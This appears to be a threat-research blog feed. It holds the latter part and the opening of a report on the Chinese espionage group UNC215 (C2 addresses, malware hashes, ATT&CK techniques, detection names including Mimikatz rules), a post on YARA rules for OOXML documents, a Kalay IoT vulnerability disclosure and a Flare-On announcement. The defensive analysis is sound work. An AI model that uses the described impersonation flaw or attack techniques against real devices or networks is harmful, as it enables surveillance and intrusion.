FOCUSFJORD samples can be configured with up to 13 unique registry values which allow operators to control and organize compromised hosts. In addition to specifying details related to the loading and persistence mechanisms and C2 communications, there are two keys which allow the operator to add additional context about the victim: 

  • Registry key 12 is the “group” name. When a new FOCUSFJORD sample is first executed and writes its configuration to registry, this value is set to “default” and is later manually changed by the actor, usually to the victim’s domain name or organization name.
  • Registry key 13 could be interpreted as the “console” name, although we do not fully understand how the identifier is used by the operators. We have observed the values “galway”, “iceland”, “helen”, and “idapro”.

It is not clear how or if UNC215 uses these configuration parameters to organize and track large numbers of compromised hosts. We observed different console values within the same network, identical console values using different C2 addresses, and identical console values targeting different countries. Some FOCUSFJORD samples from 2018 and 2020 use the same console values despite the significant gap in time (See Table 1).

  • The NCC Group discussed these configurations in a 2018 report and released a decoding tool.
  • Trendmicro noted changes to supported configurations in FOCUSFJORD, dubbed SysUpdate, in their 2020 and 2021 reports following public disclosures. This suggests that operators using FOCUSFJORD are sensitive to security vendor reports and will update the code to avoid detection and exposure.

Registry Key 13

FOCUSFJORD MD5 Hash

Related C2

Suspected Target

helen

3d95e1c94bd528909308b198f3d47620

139.59.81.253

Israel

helen

f335b241652cb7f7e736202f14eb48e9

139.59.81.253

Israel

helen

a0b2193362152053671dbe5033771758

139.59.81.253

Israel

helen

6a9a4da3f7b2075984f79f67e4eb2f28

139.59.81.253

Kazakhstan

helen

a19370b97fe64ca6a0c202524af35a30

159.89.168.83

Iran

helen

3c1981991cce3b329902288bb2354728

103.59.144.183

Unknown

iceland

26d079e3afb08af0ac4c6d92fd221e71

178.79.177.69

UAE

iceland

19c46d01685c463f21ef200e81cb1cf1

138.68.154.133

UAE

iceland

28ce8dbdd2b7dfd123cebbfff263882c

138.68.154.133

Unknown

iceland

a78c53351e23d3f84267e67bbca6cf07 

206.189.123.156

Israel (Gov), UAE

iceland

a78c53351e23d3f84267e67bbca6cf07 

206.189.123.156

Israel (IT)

idapro

a78c53351e23d3f84267e67bbca6cf07 

206.189.123.156

Israel (IT)

galway

04c51909fc65304d907b7cb6c92572cd

159.65.80.157

Unknown

galway

0e061265c0b5998088443628c03188f0

159.65.80.157

Unknown

galway

09ffc31a432f646ebcec59d32f286317

159.65.80.157

Unknown

galway

6ca8993b341bd90a730faef1fb73958b

128.199.44.86

Unknown

Helen *

Unknown

46.101.255.16

Iran

Helen *

Unknown

178.79.143.78

Iran

Idapro *

Unknown

138.68.154.133

Iran

Table 1: FOCUSFJORD comparison (note: the * entries are from public reporting and have not been verified by Mandiant)

False Flags

Artifacts in UNC215 campaigns often contain foreign language strings that do not match the country being targeted and may be intended to mislead an analyst examining the malware. Additionally, on at least three occasions, UNC215 employed a custom tool associated with Iranian actors whose source code was leaked.

  • In several cases, we identified FOCUSFJORD samples with registry key names in regional languages. The registry key names are hardcoded into every FOCUSFJORD sample, as the malware needs to read and decrypt those registry key values for proper execution.
    • FOCUSFJORD samples (MD5: d13311df4e48a47706b4352995d67ab0 and MD5: 26d079e3afb08af0ac4c6d92fd221e71) observed on Israeli and UAE networks, and a memory dump (MD5: d875858dbd84b420a2027ef5d6e3a512) submitted to a public malware repository by a likely Uzbekistan financial organization are configured with registry keys in Farsi. Linguistic analysis suggests that these terms were auto translated as they are not commonly used by native Farsi speakers.
    • Another FOCUSFJORD sample uploaded from Uzbekistan (MD5: ac431261b8852286d99673fddba38a50) contains a configuration with registry key names in Hindi. Notably, this variant also contains an error message string in Arabic ('ضائع' – which translates to: lost or missing).
  • In April 2019, UNC215 deployed the SEASHARPEE web shell against financial and high-tech organizations in the Middle East and Asia. The SEASHARPEE web shell was developed and used by Iranian APT actors until the code was leaked online in the telegram channel Lab Dookhtegan a few weeks earlier in March 2019.
  • Around this time, the Turkish-language file Sosyal Güvenlik Reformu-Not-3.doc "Social Security Reform - Note - 3.doc" (MD5: 6930bd66a11e30dee1ef4f57287b1318) was distributed to a suspected Turkish government entity based on data from an open-source malware repository. The document contains "C:\Users\Iran" paths that were likely included to obfuscate the source of the activity.

The use of Farsi strings, filepaths containing /Iran/, and web shells publicly associated with Iranian APT groups may have been intended to mislead analysts and suggest an attribution to Iran. Notably, in 2019 the government of Iran accused APT27 of attacking its government networks and released a detection and removal tool for HYPERBRO malware.

Tradecraft Mistakes

While UNC215 prioritizes evading detection within a compromised network, Mandiant identified several examples of code, C2 infrastructure, and certificate reuse indicating that UNC215 operators are less concerned about defenders’ ability to track and detect UNC215 activity.

  • In several instances, UNC215 used the same exact file against multiple victims and frequently shared infrastructure across victims. This lack of compartmentalization is not uncommon, but does show that UNC215 is relatively less concerned about the ability for their compromises to be linked to each other.
  • C2 servers used by UNC215 frequently reuse the same SSL certificate, as described in Team Cymru’s research in 2020.
  • On one network, between April 2019 and April 2020, an operator repeatedly and infrequently revisited a compromised network whenever an Endpoint Detection and Response (EDR) tool detected or quarantined tools like HYPERBRO and Mimikatz. After several months of repeated detections, UNC215 deployed an updated version of HYPERBRO and a tool called “anti.exe” to stop Windows Update service and terminate EDR and Antivirus related services.

Attribution

Mandiant attributes this campaign to Chinese espionage operators which we track as UNC215 a Chinese espionage operation that has been suspected of targeting organizations around the world since at least 2014. We have low confidence that UNC215 is associated with APT27. UNC215 has compromised organizations in the government, technology, telecommunications, defense, finance, entertainment, and health care sectors. The group targets data and organizations which are of great interest to Beijing's financial, diplomatic, and strategic objectives.

Outlook and Implications

The activity detailed in this post demonstrates China’s consistent strategic interest in the Middle East. This cyber espionage activity is happening against the backdrop of China’s multi-billion-dollar investments related to the Belt and Road Initiative (BRI) and its interest in Israeli’s robust technology sector.

  • Chinese companies have invested billions of dollars into Israeli technology startups, partnering or acquiring companies in strategic industries like semi-conductors and artificial intelligence.
  • As China’s BRI moves westward, its most important construction projects in Israel are the railway between Eilat and Ashdod, a private port at Ashdod, and the port of Haifa.

China has conducted numerous intrusion campaigns along the BRI route to monitor potential obstructions—political, economic, and security—and we anticipate that UNC215 will continue targeting governments and organizations involved in these critical infrastructure projects in Israel and the broader Middle East in the near- and mid-term.

MITRE ATT&CK Techniques

ID

Technique

T1003.001

OS Credential Dumping: LSASS Memory

T1007

System Service Discovery

T1010

Application Window Discovery

T1012

Query Registry

T1016

System Network Configuration Discovery

T1021.001

Remote Services: Remote Desktop Protocol

T1027

Obfuscated Files or Information

T1033

System Owner/User Discovery

T1055

Process Injection

T1055.003

Process Injection: Thread Execution Hijacking

T1055.012

Process Injection: Process Hollowing

T1056.001

Input Capture: Keylogging

T1057

Process Discovery

T1059.001

Command and Scripting Interpreter: PowerShell

T1059.003

Command and Scripting Interpreter: Windows Command Shell

T1070.004

Indicator Removal on Host: File Deletion

T1070.006

Indicator Removal on Host: Timestomp

T1071.001

Application Layer Protocol: Web Protocols

T1078

Valid Accounts

T1082

System Information Discovery

T1083

File and Directory Discovery

T1087

Account Discovery

T1090

Proxy

T1095

Non-Application Layer Protocol

T1098

Account Manipulation

T1105

Ingress Tool Transfer

T1112

Modify Registry

T1113

Screen Capture

T1115

Clipboard Data

T1133

External Remote Services

T1134

Access Token Manipulation

T1140

Deobfuscate/Decode Files or Information

T1190

Exploit Public-Facing Application

T1199

Trusted Relationship

T1202

Indirect Command Execution

T1213

Data from Information Repositories

T1482

Domain Trust Discovery

T1489

Service Stop

T1497

Virtualization/Sandbox Evasion

T1497.001

Virtualization/Sandbox Evasion: System Checks

T1505.003

Server Software Component: Web Shell

T1518

Software Discovery

T1543.003

Create or Modify System Process: Windows Service

T1547.001

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

T1553.002

Subvert Trust Controls: Code Signing

T1559.002

Inter-Process Communication: Dynamic Data Exchange

T1560

Archive Collected Data

T1564.003

Hide Artifacts: Hidden Window

T1569.002

System Services: Service Execution

T1573.002

Encrypted Channel: Asymmetric Cryptography

T1574.002

Hijack Execution Flow: DLL Side-Loading

T1583.003

Acquire Infrastructure: Virtual Private Server

T1588.003

Obtain Capabilities: Code Signing Certificates

T1608.003

Stage Capabilities: Install Digital Certificate

Indicators of Compromise

The following indicators have been seen in use with the noted malware families, but not all have been confirmed to be used by UNC215.

Type

Value

Description

IP

85.204.74.143

HYPERBRO C2

IP

103.79.78.48

HYPERBRO C2

IP

89.35.178.105

HYPERBRO C2

IP

47.75.49.32

HYPERBRO C2

IP

139.59.81.253

FOCUSFJORD C2

IP

34.65.151.250

FOCUSFJORD C2

IP

159.89.168.83

FOCUSFJORD C2

IP

103.59.144.183

FOCUSFJORD C2

IP

141.164.52.232

FOCUSFJORD C2

Detecting the Techniques

FireEye detects this activity across our platforms.

Platform(s)

Detection Name

  • Network Security
  • Email Security
  • Detection On Demand
  • Malware Analysis
  • File Protect
  • Backdoor.Win32.HyperBro.FEC3
  • FE_APT_Backdoor_Win32_HYPERBRO_1
  • FE_Downloader_Win32_FOCUSFJORD_2
  • FE_Trojan_Raw32_SILKWRAP_1
  • Trojan.Win32.LuckyMouse.FEC3
  • FE_Trojan_Raw32_SILKWRAP_1
  • 33341691_APT.Downloader.Win.FOCUSFJORD
  • Trojan.Win32.DllHijack.FEC3
  • FE_Trojan_Raw32_SILKWRAP_1
  • FE_Autopatt_Win_FOCUSFJORD
  • Trojan.Generic
  • FE_Tool_Win_Generic_3
  • FE_Tool_Win32_Generic_3
  • FE_Trojan_Win_Generic_154
  • FE_Trojan_Win32_Generic_403
  • FE_Trojan_Win_Generic_155
  • FE_Trojan_Win64_Generic_54
  • FE_APT_Backdoor_Win32_HYPERBRO_2
  • FE_Trojan_Win32_Generic_404
  • FE_Trojan_Win32_Generic_406
  • Suspicious File Config
  • Suspicious Regkey Added
  • Suspicious Process Launch Activity
  • Suspicious Codeinjection Activity
  • Suspicious Process Delete Activity
  • Suspicious Process Hijacking Activity
  • Suspicious Process Self Deletion Activity

Endpoint Security

  • Generic.mg.a0b2193362152053
  • Generic.mg.26d079e3afb08af0
  • Generic.mg.28ce8dbdd2b7dfd1
  • Generic.mg.04c51909fc65304d
  • Generic.mg.0e061265c0b59980
  • Generic.mg.09ffc31a432f646e
  • Generic.mg.6ca8993b341bd90a
  • Generic.mg.0ec4d0a477ba21bd
  • Generic.mg.04dece2662f648f6
  • Trojan.GenericKD.43427954
  • Gen:Variant.Ursu.933105
  • Trojan.GenericKD.32762213
  • Trojan.GenericKD.34854595
  • Gen:Variant.Ursu.256631
  • Gen:Variant.Doina.16603
  • Gen:Variant.Doina.13437

Helix

  • 1.1.2927.fireeye_intel_hit_ip
  • 1.1.2928.fireeye_intel_hit_ip
  • 1.1.2929.fireeye_intel_hit_ip
  • 1.1.2930.fireeye_intel_hit_ip
  • 1.1.2947.fireeye_intel_hit_hash
  • 1.1.2948.fireeye_intel_hit_hash
  • 1.1.2949.fireeye_intel_hit_hash
  • 1.1.2950.fireeye_intel_hit_hash
  • 1.1.1404.windows_methodology_unusual_web_server_child_process
  • 1.1.3506.windows_methodology_adfind
  • 1.1.1650.windows_methodology_mimikatz_args
  • 1.1.1651.antivirus_methodology_mimikatz
  • 1.1.1652.windows_methodology_invokemimikatz_powershell_artifacts
✇ Threat Research

Detecting Embedded Content in OOXML Documents

By: Aaron Stephens

On Advanced Practices, we are always looking for new ways to find malicious activity and track adversaries over time. Today we’re sharing a technique we use to detect and cluster Microsoft Office documents—specifically those in the Office Open XML (OOXML) file format. Additionally, we’re releasing a tool so analysts and defenders can automatically generate YARA rules using this technique.

OOXML File Format

Beginning with Microsoft Office 2007, the default file format for Excel, PowerPoint, and Word documents switched from an Object Linking and Embedding (OLE) based format to OOXML. For now, the only part of this that’s important to understand is OOXML documents are just a bunch of folders and files packaged into a ZIP archive. Let’s look at the Word document this blog post is being written in (Figure 1), for example:

➜ file example.docx
example.docx: Microsoft Word 2007+

➜ unzip -v example.docx
Archive:  example.docx

 Length   Method    Size  Cmpr    Date    Time   CRC-32   Name

--------  ------  ------- ---- ---------- ----- --------  ----

    1445  Defl:S      358  75% 01-01-1980 00:00 576f9132  [Content_Types].xml

     590  Defl:S      239  60% 01-01-1980 00:00 b71a911e  _rels/.rels

    1559  Defl:S      407  74% 01-01-1980 00:00 33ce17ac  word/_rels/document.xml.rels

   10861  Defl:S     2480  77% 01-01-1980 00:00 f0af2147  word/document.xml

    8393  Defl:S     1746  79% 01-01-1980 00:00 9867f4b6  word/theme/theme1.xml

    4725  Defl:S     1416  70% 01-01-1980 00:00 718205c5  word/settings.xml

     655  Defl:S      295  55% 01-01-1980 00:00 bf8dd4bd  word/webSettings.xml

     755  Defl:S      367  51% 01-01-1980 00:00 5bf1cf49  docProps/core.xml

     991  Defl:S      476  52% 01-01-1980 00:00 bad67489  docProps/app.xml

   30308  Defl:S     3104  90% 01-01-1980 00:00 ce0f21cd  word/styles.xml

    7781  Defl:S      952  88% 01-01-1980 00:00 9f45bf02  word/numbering.xml

    2230  Defl:S      559  75% 01-01-1980 00:00 63baaf8c  word/fontTable.xml

--------          -------  ---                            -------

   70293            12399  82%                            12 files

Figure 1: unzip -v output for example.docx

Now, even though we used the unzip command, we didn’t actually unzip the archive. The output provided by the -v option is derived from the ZIP local file headers, which contain a wealth of information on the compressed files. Of particular interest is the CRC-32 value.

A cyclic redundancy check (CRC) is an algorithm designed to detect errors or unintended changes to data. The idea is a system can calculate a CRC value before and after a transfer or transformation of data as a simple way to ensure its integrity. For ZIP archives, the CRC-32 values confirm the decompressed files are the same as they were prior to compression. Which is great and all, but they can serve other use cases too.

Detection

Forget about error-detection. A ZIP CRC-32 value is essentially a small hash of the uncompressed file, and what better way to identify a file than by its hash? While the chance of a collision for CRC-32 is significantly higher than other algorithms such as SHA-256 or even MD5, it can be paired with additional metadata like the file name (or extension) and size to reduce false positives.

Here’s a hex dump of the first local file header from the previous example (Figure 2):


Figure 2: Hex dump of the first local file header for example.docx

Using the CRC-32, uncompressed file size, and file name fields, a YARA rule for this entry can be written as follows:

rule content_types {
    meta:
        author = "Aaron Stephens <[email protected]>"
        description = "Example OOXML rule."

    strings:
        $crc = { 32 91 6f 57 }
        $name = "[Content_Types].xml"
        $size = { a5 05 00 00 }

    condition:
        $size at @crc[1] + 8 and $name at @crc[1] + 16
}

NOTE: The numeric fields are stored in little-endian.

Examples

Advanced Practices uses this technique to find similar documents that contain the same embedded file over time. Here are a couple real-world examples:

Document: 397ba1d0601558dfe34cd5aafaedd18e
File: 0dc39af4899f6aa0a8d29426aba59314 (word\media\image1.png)
Groups: UNC1130, UNC1837, UNC1965

rule png_397ba1d0601558dfe34cd5aafaedd18e {
    meta:
        author = "Aaron Stephens <[email protected]>"
        description = "PNG in OOXML document."

    strings:
        $crc = {f8158b40}
        $ext = ".png"
        $ufs = {b42c0000}

    condition:
        $ufs at @crc[1] + 8 and $ext at @crc[1] + uint16(@crc[1] + 12) + 16 - 4
}

This rule detects OOXML documents, which contain a specific PNG image seen in Figure 3.


Figure 3: PNG embedded in phishing documents

Figure 3 is found in several documents dropping LATEOP, and has been attributed to groups such as UNC1130, a North Korean state-sponsored threat actor.

Document: 252227b8701d45deb0cc6b0edad98836
File: 3bdfaf98d820a1d8536625b9efd3bb14 ([Content_Types].xml)
Groups: FIN7

rule xml_252227b8701d45deb0cc6b0edad98836 {
    meta:
        author = "Aaron Stephens <[email protected]>"
        description = "[Content_Types].xml in OOXML document."

    strings:
        $crc = {8cf0d220}
        $name = "[Content_Types].xml"
        $ufs = {9b060000}

    condition:
        $ufs at @crc[1] + 8 and $name at @crc[1] + 16
}

This rule detects a specific [Content_Types].xml file, which is shown (formatted) in Figure 4.


Figure 4: Formatted [Content_Types].xml file

This file maps different parts of the OOXML package to their content type. Given a unique enough combination of parts and types, the [Content_Types].xml file can be a great way to find similar OOXML documents. This particular example is found in multiple FIN7 GRIFFON samples.

Tooling

Last but not least, it’s time to introduce apooxml, a Python tool that can be used to quickly and easily generate YARA rules just like these. Here’s how it works:

➜ python3 apooxml.py -h
usage: apooxml.py [-h] [-a AUTHOR] [-n NAME] [-o OUT] sample

Generate YARA rules for OOXML documents.

positional arguments:
  sample                OOXML document to generate YARA rule from.

optional arguments:
  -h, --help            show this help message and exit
  -a AUTHOR, --author AUTHOR
                        YARA rule author.
  -n NAME, --name NAME  YARA rule name.
  -o OUT, --out OUT     YARA rule file name.

➜ python3 apooxml.py -o 'example.yara' 397ba1d0601558dfe34cd5aafaedd18e
 1. [Content_Types].xml             1980-01-01 00:00:00  14506c9d  1613
 2. _rels/.rels                     1980-01-01 00:00:00  b71a911e  590
 3. word/_rels/document.xml.rels    1980-01-01 00:00:00  ab5e83b7  1207
 4. word/document.xml               1980-01-01 00:00:00  44c9bf93  2692
 5. word/_rels/vbaProject.bin.rels  1980-01-01 00:00:00  ef601408  277
 6. word/vbaProject.bin             1980-01-01 00:00:00  ab54dacf  10752
 7. word/media/image1.png           1980-01-01 00:00:00  408b15f8  11444
 8. word/theme/theme1.xml           1980-01-01 00:00:00  4276c88b  7088
 9. word/settings.xml               1980-01-01 00:00:00  17044d98  2750
10. word/vbaData.xml                1980-01-01 00:00:00  9209afe1  1292
11. word/fontTable.xml              1980-01-01 00:00:00  37e3715b  960
12. word/stylesWithEffects.xml      1980-01-01 00:00:00  c883d0b1  16755
13. docProps/app.xml                1980-01-01 00:00:00  3cc6382c  982
14. word/webSettings.xml            1980-01-01 00:00:00  4e16a017  428
15. docProps/core.xml               1980-01-01 00:00:00  8cef183c  643
16. word/styles.xml                 1980-01-01 00:00:00  1f9b9145  16002

Enter a number corresponding to the desired entry: 7

Wrote YARA rule to example.yara.

➜ cat example.yara
rule ooxml_png_crc_397ba1d0601558dfe34cd5aafaedd18e {
    meta:
        author = "apooxml"
        description = "Generated by apooxml."
        reference_md5 = "397ba1d0601558dfe34cd5aafaedd18e"

    strings:
        $crc = {f8158b40}
        $ext = ".png"
        $ufs = {b42c0000}

    condition:
        $ufs at @crc[1] + 8 and $ext at @crc[1] + uint16(@crc[1] + 12) + 16 - 4
}

For more details, check out the repository on GitHub.

 

✇ Threat Research

Mandiant Discloses Critical Vulnerability Affecting Millions of IoT Devices

By: Jake Valletta

Today, Mandiant disclosed a critical risk vulnerability in coordination with the Cybersecurity and Infrastructure Security Agency (“CISA”) that affects millions of IoT devices that use the ThroughTek “Kalay” network. This vulnerability, discovered by researchers on Mandiant’s Red Team in late 2020, would enable adversaries to remotely compromise victim IoT devices, resulting in the ability to listen to live audio, watch real time video data, and compromise device credentials for further attacks based on exposed device functionality. These further attacks could include actions that would allow an adversary to remotely control affected devices.

At the time of writing this blog post, ThroughTek advertises having more than 83 million active devices and over 1.1 billion monthly connections on their platform. ThroughTek’s clients include IoT camera manufacturers, smart baby monitors, and Digital Video Recorder (“DVR”) products. Unlike the vulnerability published by researchers from Nozomi Networks in May 2021 (also in coordination with CISA), this latest vulnerability allows attackers to communicate with devices remotely. As a result, further attacks could include actions that would allow an adversary to remotely control affected devices and could potentially lead to remote code execution.

The Kalay protocol is implemented as a Software Development Kit (“SDK”) which is built into client software (e.g. a mobile or desktop application) and networked IoT devices, such as smart cameras. Due to how the Kalay protocol is integrated by original equipment manufacturers (“OEMs”) and resellers before devices reach consumers, Mandiant is unable to determine a complete list of products and companies affected by the discovered vulnerability.

This vulnerability has been assigned a CVSS3.1 base score of 9.6 and is tracked as CVE-2021-28372 and FEYE-2021-0020. This blog post discusses the Kalay network and CVE-2021-28372 at a high level. It also includes recommendations from ThroughTek and Mandiant, along with mitigation options.

Mandiant would like to thank both CISA and ThroughTek for their coordination and support in releasing this advisory.

FAQ

What devices are affected, and (potentially) how many devices are affected?

The vulnerabilities described in this post affect a core component of the Kalay platform. Mandiant was not able to create a comprehensive list of affected devices; however, ThroughTek’s website reports more than 83 million active devices on the Kalay platform at the time of writing this post.

How is the issue being addressed?

Mandiant worked with ThroughTek and CISA to disclose this vulnerability and would strongly recommend companies using the Kalay platform follow the guidance provided by ThroughTek and Mandiant:

  • If the implemented SDK is below version 3.1.10, upgrade the library to version 3.3.1.0 or version 3.4.2.0 and enable the Authkey and Datagram Transport Layer Security (“DTLS”) features provided by the Kalay platform.
  • If the implemented SDK is version 3.1.10 and above, enable Authkey and DTLS.
  • Review security controls in place on APIs or other services that return Kalay unique identifiers (“UIDs”).

How would an attacker exploit these vulnerabilities?

An attacker would require comprehensive knowledge of the Kalay protocol and the ability to generate and send messages. The attacker would also need to obtain Kalay UIDs through social engineering or other vulnerabilities in APIs or services that return Kalay UIDs. From there, an attacker would be able to remotely compromise affected devices that correspond to the obtained UIDs.

How do I know if a device I own is affected? How do I protect myself if I own an affected device?

Mandiant was not able to create a comprehensive list of devices using the Kalay platform, but strongly encourages users of IoT devices to keep device software and applications up to date and use complex, unique passwords for any accounts associated with these devices.

Device owners should avoid connecting to affected devices from untrusted networks such as public wireless networks.

Who discovered this vulnerability?

Jake Valletta, Erik Barzdukas, and Dillon Franke.

CVE-2021-28372: Device Impersonation

Mandiant researchers analyzed ThroughTek’s Kalay protocol using two different approaches. First, the researchers selectively downloaded and disassembled applications from both the Google Play Store and Apple App Store that included ThroughTek libraries. These libraries typically did not contain debugging symbols, which required the team to also perform dynamic analysis with tools such as Frida, gdb, and Wireshark.

In addition, Mandiant purchased various Kalay-enabled devices. The team performed local and hardware-based attacks to obtain shell access, recover firmware images, and perform additional dynamic testing. These techniques included identifying UART/JTAG interfaces, performing chip-off attacks, and exploiting other debugging functionality present on the devices.

Over the course of several months, the researchers developed a fully functional implementation of ThroughTek’s Kalay protocol, which enabled the team to perform key actions on the network, including device discovery, device registration, remote client connections, authentication, and most importantly, process audio and video (“AV”) data. Equally as important as processing AV data, the Kalay protocol also implements remote procedure call (“RPC”) functionality. This varies from device to device but typically is used for device telemetry, firmware updates, and device control.

Having written a flexible interface for creating and manipulating Kalay requests and responses, Mandiant researchers focused on identifying logic and flow vulnerabilities in the Kalay protocol. The vulnerability discussed in this post affects how Kalay-enabled devices access and join the Kalay network. The researchers determined that the device registration process requires only the device’s 20-byte uniquely assigned identifier (called a “UID” here) to access the network. In Mandiant’s testing, this UID was typically provided to a Kalay-enabled client (such as a mobile application) from a web API hosted by the company that markets and sells a device model. Mandiant investigated the viability of brute forcing ThroughTek UIDs and found it to be infeasible due to the necessary time and resources.

Figure 1 shows a typical device registration and client connection process on the Kalay network. The example scenario is a user remotely accessing their camera feed on a mobile application from a remote network, (e.g. a coffee shop or mobile phone network) with their Kalay-enabled camera located on their home network.


Figure 1: Normal device registration and connection process

If an attacker obtains a UID of a victim Kalay device, they can maliciously register a device with the same UID on the network and cause the Kalay servers to overwrite the existing Kalay device. Once an attacker has maliciously registered a UID, any client connection attempts to access the victim UID will be directed to the attacker. The attacker can then continue the connection process and obtain the authentication materials (a username and password) needed to access the device. Figure 2 shows a client connection attempt when both a victim device and a malicious device with the same UID exist simultaneously on the network. In this example, the malicious registration is overwriting the existing registration on the network, causing client connections to be mistakenly routed to the malicious device.


Figure 2: Attacker exploiting device personation vulnerability to capture credentials

With the compromised credentials, an attacker can use the Kalay network to remotely connect to the original device, access AV data, and execute RPC calls. Vulnerabilities in the device-implemented RPC interface can lead to fully remote and complete device compromise. Mandiant observed that the binaries on IoT devices processing Kalay data typically ran as the privileged user root and lacked common binary protections such as Address Space Layout Randomization (“ASLR”), Platform Independent Execution (“PIE”), stack canaries, and NX bits.

Figure 3 shows a hypothetical attack utilizing the captured Kalay username and password to stage a further attack by abusing vulnerabilities in the Kalay RPC interface.


Figure 3: Attacker using captured credentials to fetch audio/video data

The following video (Figure 4) demonstrates a functional proof of concept for CVE-2021-28372. Note that Mandiant is not releasing any public exploit code.

✇ Threat Research

Announcing the Eighth Annual Flare-On Challenge

By: Nick Harbour

The FLARE team is once again hosting its annual Flare-On challenge, now in its eighth year. Take this opportunity to enjoy some extreme social distancing by solving fun puzzles to test your mettle and learn new tricks on your path to reverse engineering excellence. The contest will begin at 8:00 p.m. ET on Sept. 10, 2021. This is a CTF-style challenge for all active and aspiring reverse engineers, malware analysts, and security professionals. The contest runs for six full weeks and ends at 8:00 p.m. ET on Oct. 22, 2021.

This year’s contest will consist of 10 challenges and feature a variety of formats, including Windows, Linux, and JavaScript. This is one of the only Windows-centric CTF contests out there and we have crafted it to represent the skills and challenges our FLARE team faces.

If you smash your way through all 10 challenges, you will receive a prize and permanent recognition on the Flare-On website to honor your greatness. Prize details will be revealed later, but as always, it will be worthwhile swag to earn the envy of your peers. Prior year’s prizes were belt buckles, a replica police badge, a challenge coin, a medal, a massive pin, and a cyber-styled skeleton key.

Check the Flare-On website for a live countdown timer, to view the previous year’s winners, and to download past challenges and solutions for practice. For official news and information, we will be using the Twitter hashtag: #flareon8.

✇ Threat Research

UNC215: Spotlight on a Chinese Espionage Campaign in Israel

By: Israel Research Team

This blog post details the post-compromise tradecraft and operational tactics, techniques, and procedures (TTPs) of a Chinese espionage group we track as UNC215. While UNC215’s targets are located throughout the Middle East, Europe, Asia, and North America, this report focuses on intrusion activity primarily observed at Israeli entities.

This report comes on the heels of the July 19, 2021, announcements by governments in North America, Europe, and Asia and intragovernmental organizations, such as the North Atlantic Treaty Organization (NATO), and the European Union, condemning widespread cyber espionage conducted on behalf of the Chinese Government. These coordinated statements attributing sustained cyber espionage activities to the Chinese Government corroborate our long-standing reporting on Chinese threat actor targeting of private companies, governments, and various organizations around the world, and this blog post shows yet another region where Chinese cyber espionage is active.

Threat Detail

In early 2019, Mandiant began identifying and responding to intrusions in the Middle East by Chinese espionage group UNC215. These intrusions exploited the Microsoft SharePoint vulnerability CVE-2019-0604 to install web shells and FOCUSFJORD payloads at targets in the Middle East and Central Asia. There are targeting and high level technique overlaps with between UNC215 and APT27, but we do not have sufficient evidence to say that the same actor is responsible for both sets of activity. APT27 has not been seen since 2015, and UNC215 is targeting many of the regions that APT27 previously focused on; however, we have not seen direct connection or shared tools, so we are only able to assess this link with low confidence.

In addition to data from Mandiant Incident Response and FireEye telemetry, we worked with Israeli defense agencies to review data from additional compromises of Israeli entities. This analysis showed multiple, concurrent operations against Israeli government institutions, IT providers and telecommunications entities beginning in January 2019. During this time, UNC215 used new TTPs to hinder attribution and detection, maintain operational security, employ false flags, and leverage trusted relationships for lateral movement. We believe this adversary is still active in the region.

Attack Lifecycle

Between 2019 and 2020, Mandiant responded to several incidents where Microsoft SharePoint vulnerability CVE-2019-0604 was used to deliver web shells, and then FOCUSFJORD payloads to select government and academic targets in the Middle East and Central Asia.

After gaining initial access, the operators conduct credential harvesting and extensive internal network reconnaissance. This includes running native Windows commands on compromised servers, executing ADFind on the Active Directory, and scanning the internal network with numerous publicly available tools and a non-public scanner we named WHEATSCAN. The operators made a consistent effort to delete these tools and remove any residual forensic artifacts from compromised systems.

In another incident response investigation, UNC215 pivoted to multiple OWA servers and installed web shells. In the following days, the operators interacted with these web shells from internal IP addresses, attempting to harvest credentials.

After identifying key systems within the target network, such as domain controllers and Exchange servers, UNC215 moved laterally and deployed their signature malware FOCUSFJORD. UNC215 often uses FOCUSFJORD for the initial stages of an intrusion, and then later deploys HYPERBRO, which has more information collection capabilities such as screen capture and keylogging. While UNC215 heavily relies on the custom tools FOCUSFJORD and HYPERBRO, Chinese espionage groups often have resource sharing relationships with other groups, and we do not have enough information to determine if these tools are developed and used exclusively by UNC215.


Figure 1: Attack Lifecycle

Tradecraft and Operational Security

We identified numerous examples of efforts by UNC215 to foil network defenders by minimizing forensic evidence left on compromised hosts, exploiting relationships with trusted third parties, continuously improving the FOCUSFJORD backdoor, concealing command and control (C2) infrastructure, and incorporating false flags.

Reducing Forensic Evidence on Disk

UNC215 consistently cleaned up evidence of their intrusion after gaining access to a system. This type of action can make it more difficult for incident responders to reconstruct what happened during a compromise.

  • The operators deleted tools used for credential harvesting and internal reconnaissance including a custom scanner dubbed WHEATSCAN after use.
  • The first FOCUSFJORD payload delivered to a system contains a blob that includes C2 and other configuration data. On initial execution, FOCUSFJORD writes its encrypted C2 configuration into the system’s registry, sets up a persistence mechanism and then rewrites itself on disk without the embedded configuration and with limited functionality to only read configuration data. This process enables the operators to obfuscate the configured C2 servers from automated sandbox runs or disclosure in public file scanning services.
  • A newly identified utility dubbed FJORDOHELPER can update FOCUSFJORD configurations and completely remove FOCUSFJORD from the system. The tool can be deployed and executed remotely to delete any remaining FOCUSFJORD forensic evidence, including files on disk, configuration data encrypted in the registry, and related services and registry keys used for persistence.

Exploiting Trust Relationships

UNC215 leveraged trusted third parties in a 2019 operation targeting an Israeli government network. As illustrated in Figure 2, the operators were able to access their primary target via RDP connections from a trusted third party using stolen credentials and used this access to deploy and remotely execute FOCUSFJORD on their primary target.


Figure 2: Two FOCUSFJORD samples configured to proxy C2 traffic

Concealing C2 Infrastructure

UNC215 made technical modifications to their tools to limit outbound network traffic and used other victim networks to proxy their C2 instructions, likely to minimize the risk of detection and blend in with normal network traffic. The following are examples of HYPERBRO and FOCUSFJORD samples capable of acting as proxies to relay communications to their C2 servers. We do not have enough context about the following samples to attribute all of them to UNC215, though they are representative of activity we have seen from the group.

  • HYPERBRO samples MD5: 0ec4d0a477ba21bda9a96d8f360a6848 and MD5: 04dece2662f648f619d9c0377a7ba7c0 have embedded configurations of internal IP addresses (192.168.1.237 and 192.168.4.26 respectively) as C2 servers. If they receive a command with an IP address and port, they will connect and relay the command.
  • FOCUSFJORD sample MD5: e3e1b386cdc5f4bb2ba419eb69b1b921 has an internal IP address, 192.168.4.197, configured as its C2. This sample was extracted from MD5: c25e8e4a2d5314ea55afd09845b3e886, which was submitted to a public malware repository in December 2017.

